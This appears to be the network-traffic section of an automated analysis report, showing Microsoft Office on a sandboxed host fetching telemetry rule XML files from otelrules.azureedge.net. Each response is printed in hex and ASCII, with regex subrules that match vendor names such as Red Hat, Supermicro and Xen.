2024-10-07 11:26:43 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 52 72 5d 5b 45 65 5d 5b 44 64 5d 20 5b 48 68 5d 5b 41 61 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120669" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <SR T="2" R="([Rr][Ee][Dd] [Hh][Aa][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.5	49775	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:26:44 UTC	192	OUT	GET /rules/rule120670v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 11:26:44 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:26:44 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91EAD002" x-ms-request-id: 763e8d43-601e-000d-6912-172618000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T112644Z-1657d5bbd48762wn1qw4s5sd30000000038g00000000ae8a x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 11:26:44 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120670" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.5	49777	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:26:44 UTC	192	OUT	GET /rules/rule120672v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 11:26:44 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:26:44 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA740822" x-ms-request-id: 01bf113a-f01e-003c-3703-178cf0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T112644Z-1657d5bbd48tnj6wmberkg2xy800000003cg00000000fuaa x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 11:26:44 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120672" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.5	49776	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:26:44 UTC	192	OUT	GET /rules/rule120671v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 11:26:44 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:26:44 GMT Content-Type: text/xml Content-Length: 432 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:15 GMT ETag: "0x8DC582BAABA2A10" x-ms-request-id: 897bc565-f01e-0096-5e60-1710ef000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T112644Z-1657d5bbd48vlsxxpe15ac3q7n000000039000000000e5ta x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 11:26:44 UTC	432	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 53 73 5d 5b 55 75 5d 5b 50 70 5d 5b 45 65 5d 5b 52 72 5d 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120671" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <SR T="2" R="^([Ss][Uu][Pp][Ee][Rr][Mm][Ii][Cc][Rr][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.5	49778	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:26:44 UTC	192	OUT	GET /rules/rule120673v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 11:26:44 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:26:44 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:31 GMT ETag: "0x8DC582BB464F255" x-ms-request-id: 7875ffac-201e-000c-7f02-1779c4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T112644Z-1657d5bbd48cpbzgkvtewk0wu000000003hg0000000052ew x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 11:26:44 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 54 74 5d 5b 48 68 5d 5b 49 69 5d 5b 4e 6e 5d 5b 50 70 5d 5b 55 75 5d 5b 54 74 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120673" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <SR T="2" R="([Tt][Hh][Ii][Nn][Pp][Uu][Tt][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.5	49779	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:26:44 UTC	192	OUT	GET /rules/rule120674v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 11:26:44 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:26:44 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA4037B0D" x-ms-request-id: 3b7b7106-501e-0064-43e7-161f54000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T112644Z-1657d5bbd48t66tjar5xuq22r800000003f0000000002ubs x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 11:26:44 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120674" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.5	49780	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:26:44 UTC	192	OUT	GET /rules/rule120675v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 11:26:44 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:26:44 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6CF78C8" x-ms-request-id: f196d52c-b01e-0002-1604-171b8f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T112644Z-1657d5bbd48xlwdx82gahegw4000000003pg000000003xzb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 11:26:44 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 55 75 5d 5b 50 70 5d 5b 43 63 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 55 75 5d 5b 44 64 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120675" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <SR T="2" R="([Uu][Pp][Cc][Ll][Oo][Uu][Dd])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.5	49781	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:26:44 UTC	192	OUT	GET /rules/rule120676v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 11:26:44 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:26:44 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B984BF177" x-ms-request-id: 2f576d96-401e-0047-3902-178597000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T112644Z-1657d5bbd487nf59mzf5b3gk8n000000034g00000000222q x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 11:26:44 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120676" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.5	49782	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:26:44 UTC	192	OUT	GET /rules/rule120677v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 11:26:44 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:26:44 GMT Content-Type: text/xml Content-Length: 405 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:37 GMT ETag: "0x8DC582B942B6AFF" x-ms-request-id: 68e254ab-b01e-0070-589d-181cc0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T112644Z-1657d5bbd48hzllksrq1r6zsvs00000000g000000000781s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 11:26:44 UTC	405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5e 5b 58 78 5d 5b 45 65 5d 5b 4e 6e 5d 24 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120677" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <SR T="2" R="(^[Xx][Ee][Nn]$)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.2.5	49783	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:26:44 UTC	192	OUT	GET /rules/rule120678v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 11:26:45 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:26:44 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA642BF4" x-ms-request-id: f5ee0945-901e-0083-4202-17bb55000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T112644Z-1657d5bbd48wd55zet5pcra0cg00000003dg0000000061ea x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 11:26:45 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120678" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.2.5	49784	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:26:45 UTC	192	OUT	GET /rules/rule120679v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 11:26:45 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:26:45 GMT Content-Type: text/xml Content-Length: 174 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91D80E15" x-ms-request-id: 0607cd43-401e-0078-1b00-174d34000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T112645Z-1657d5bbd48sdh4cyzadbb374800000003a0000000004dxs x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 11:26:45 UTC	174	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 3c 2f 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120679" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> </S> <T> <S T="1" /> </T></R>

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.5	49786	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:26:45 UTC	192	OUT	GET /rules/rule120681v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 11:26:45 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:26:45 GMT Content-Type: text/xml Content-Length: 958 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:58 GMT ETag: "0x8DC582BA0A31B3B" x-ms-request-id: 0c165d1d-a01e-000d-7dfe-16d1ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T112645Z-1657d5bbd48jwrqbupe3ktsx9w00000003n00000000080gk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 11:26:45 UTC	958	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 38 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120681" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120608" /> <R T="2" R="120680" /> <TH T="3"> <O T="AND"> <L> <O T="EQ"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.2.5	49785	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:26:45 UTC	192	OUT	GET /rules/rule120680v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 11:26:45 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:26:45 GMT Content-Type: text/xml Content-Length: 1952 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B956B0F3D" x-ms-request-id: a5ff6bd9-301e-005d-3af2-16e448000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T112645Z-1657d5bbd482krtfgrg72dfbtn0000000350000000007snq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
